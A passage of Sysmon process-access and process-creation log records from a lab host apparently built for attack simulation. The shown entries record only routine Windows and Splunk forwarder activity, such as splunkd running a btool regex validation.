11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1851,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1852,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1853,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-00101A310300}\r\nTargetProcessId: 3596\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-00101A310300}","TargetProcessId":"3596","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1854,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.320\r\nProcessGuid: {90617006-3FE7-5F2D-0000-0010D2310300}\r\nProcessId: 3636\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool validate-regex --log-warnings\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE7-5F2D-0000-00101A310300}\r\nParentProcessId: 3596\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-regex --log-warnings","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.320","ProcessGuid":"{90617006-3FE7-5F2D-0000-0010D2310300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool validate-regex --log-warnings","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE7-5F2D-0000-00101A310300}","ParentProcessId":"3596","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-regex --log-warnings","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1855,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FE7-5F2D-0000-00101A310300}\r\nSourceProcessId: 3596\r\nSourceThreadId: 3600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010D2310300}\r\nTargetProcessId: 3636\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FE7-5F2D-0000-00101A310300}","SourceProcessId":"3596","SourceThreadId":"3600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010D2310300}","TargetProcessId":"3636","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1856,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010D2310300}\r\nTargetProcessId: 3636\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010D2310300}","TargetProcessId":"3636","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1857,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1858,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1859,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 